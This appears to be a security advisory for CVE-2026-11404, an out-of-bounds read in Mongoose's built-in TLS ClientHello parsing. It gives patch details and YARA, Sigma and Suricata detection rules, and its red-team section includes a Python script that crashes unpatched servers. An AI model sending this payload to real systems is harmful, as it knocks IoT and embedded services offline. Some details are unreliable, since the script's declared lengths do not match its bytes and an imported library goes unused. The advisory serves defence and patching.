CVE-2026-11404

Executive Summary

CVE-2026-11404 is a critical out-of-bounds read vulnerability in Cesanta Mongoose’s built-in TLS implementation (MG_TLS_BUILTIN). The flaw resides in the mg_tls_server_recv_hello() function, which processes TLS ClientHello messages. An attacker can send a crafted ClientHello with an oversized session_id_len byte, causing the server to read past the allocated receive buffer. This leads to a denial-of-service (DoS) condition via crash of any HTTPS, MQTTS, or WSS service using the built-in TLS stack. No authentication is required, and the attack is remotely exploitable over the network.

Supply Chain & Package Security

Cesanta Mongoose is a widely used embedded web server and networking library, often integrated into IoT devices, industrial controllers, and embedded systems. The vulnerability affects all services using MG_TLS_BUILTIN (the built-in TLS implementation). Users relying on external TLS stacks (e.g., OpenSSL, Mbed TLS) are not affected. The library is distributed as source code and integrated into firmware builds, making patch deployment dependent on vendor updates.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exfiltration.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Service crash leads to denial of service.

Base Score: 7.5 (HIGH)
Threat Level: High – Remote, unauthenticated DoS with low complexity.

Deep Dive & Mechanics

The vulnerability is in the mg_tls_server_recv_hello() function within the built-in TLS implementation. When a TLS ClientHello is received, the server parses the session_id field. The session_id_len byte is attacker-controlled and used directly as an index into the receive buffer without validation against the actual received data length.

Vulnerable Code Flow:

1. Server receives a TLS ClientHello packet.
2. The session_id_len byte is extracted from the packet.
3. The server attempts to read session_id_len bytes from the receive buffer starting at the session ID offset.
4. If session_id_len exceeds the remaining buffer length, an out-of-bounds read occurs, causing a crash (segmentation fault or assertion failure).

Impact: Any service using MG_TLS_BUILTIN (HTTPS, MQTTS, WSS) is vulnerable. The crash is immediate upon receiving the malicious ClientHello.

Vulnerable vs. Patched Code

Vulnerable (Mongoose < 7.22):

// In mg_tls_server_recv_hello()
int session_id_len = buf[offset]; // Attacker-controlled
// No bounds check before reading session_id
memcpy(session_id, &buf[offset + 1], session_id_len); // OOB read

Patched (Mongoose >= 7.22):

// In mg_tls_server_recv_hello()
int session_id_len = buf[offset];
if (session_id_len > (len - offset - 1)) {
    // Bounds check: reject if session_id_len exceeds remaining data
    return MG_IO_ERR;
}
memcpy(session_id, &buf[offset + 1], session_id_len);

The patch adds a validation check to ensure session_id_len does not exceed the remaining buffer length before performing the memcpy.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Mongoose with MG_TLS_BUILTIN enabled (e.g., HTTPS server on port 443).
• Network access to the target.

Exploit Steps:

1. Craft a TLS ClientHello packet with an oversized session_id_len field (e.g., 255).
2. Send the packet to the target’s TLS port.
3. The server crashes due to out-of-bounds read.

Example Python script (using scapy):

from scapy.all import *
import socket

def exploit(target_ip, target_port):
    # Craft a raw TLS ClientHello with oversized session_id_len
    # TLS record header: content type 0x16 (Handshake), version 0x0301 (TLS 1.0), length
    # Handshake: type 0x01 (ClientHello), length, version, random, session_id_len=0xFF, ...
    payload = bytes([
        0x16, 0x03, 0x01, 0x00, 0x48,  # TLS record header
        0x01, 0x00, 0x00, 0x44, 0x03, 0x03,  # Handshake header + version
    ] + [0x00]*32 + [  # Random (32 bytes)
        0xFF,  # session_id_len = 255 (oversized)
        0x00, 0x00,  # cipher suites length
        0x01, 0x00,  # compression methods
    ])
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)
    sock.connect((target_ip, target_port))
    sock.send(payload)
    sock.close()

# Usage: exploit("192.168.1.100", 443)

Expected Outcome: The target service crashes immediately.

Blue Team

Detection:

• Monitor for TLS ClientHello packets with abnormally large session_id_len values (e.g., > 32 bytes).
• Use network intrusion detection systems (NIDS) to flag anomalous TLS handshakes.

Hunting:

• Search logs for crashes in Mongoose-based services (e.g., segmentation faults, assertion failures).
• Correlate with network flows showing incomplete TLS handshakes.

Mitigation:

• Immediately upgrade to Mongoose 7.22 or later.
• If patching is delayed, disable MG_TLS_BUILTIN and use an external TLS stack (e.g., OpenSSL).

Indicators of Compromise (IOCs)

• Network IOCs:
  • TLS ClientHello packets with session_id_len > 32 bytes.
  • Incomplete TLS handshakes (ClientHello sent, no ServerHello response).
• System IOCs:
  • Crash logs containing mg_tls_server_recv_hello or OOB read errors.
  • Service restarts or downtime on Mongoose-based HTTPS/MQTTS/WSS ports.
• File IOCs:
  • Mongoose binary/library version < 7.22 (check mg_version string).

Detection Engineering

YARA Rule

rule CVE_2026_11404_Mongoose_TLS_OOB {
    meta:
        description = "Detects Mongoose TLS out-of-bounds read vulnerability (CVE-2026-11404)"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-11404"
    strings:
        $s1 = "mg_tls_server_recv_hello" ascii wide nocase
        $s2 = "session_id_len" ascii wide nocase
        $s3 = "MG_TLS_BUILTIN" ascii wide nocase
    condition:
        all of ($s*)
}

Sigma Rule

title: CVE-2026-11404 - Mongoose TLS OOB Read Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects TLS ClientHello packets with oversized session_id_len targeting Mongoose built-in TLS
author: Valters IT
date: 2026-01-01
logsource:
    category: network
    product: suricata
detection:
    selection:
        tls.handshake.type: 'client_hello'
        tls.handshake.session_id_length: '>32'
    condition: selection
falsepositives:
    - Legitimate TLS implementations with non-standard session IDs (rare)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"CVE-2026-11404 Mongoose TLS OOB Read Attempt"; flow:to_server,established; content:"|16 03|"; depth:2; content:"|01|"; within:5; content:"|FF|"; distance:38; within:1; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade to Cesanta Mongoose version 7.22 or later.
2. If upgrade is not possible, disable MG_TLS_BUILTIN and switch to an external TLS stack (e.g., OpenSSL, Mbed TLS).

Compensating Controls:

• Deploy network-level filtering to drop TLS ClientHello packets with session_id_len > 32 bytes.
• Implement rate limiting on TLS handshake attempts.
• Monitor for crashes and automatically restart affected services.

Long-term:

• Integrate static analysis tools to detect out-of-bounds reads in TLS parsing code.
• Conduct regular security audits of embedded TLS implementations.

Valters IT
Securing Digital Frontiers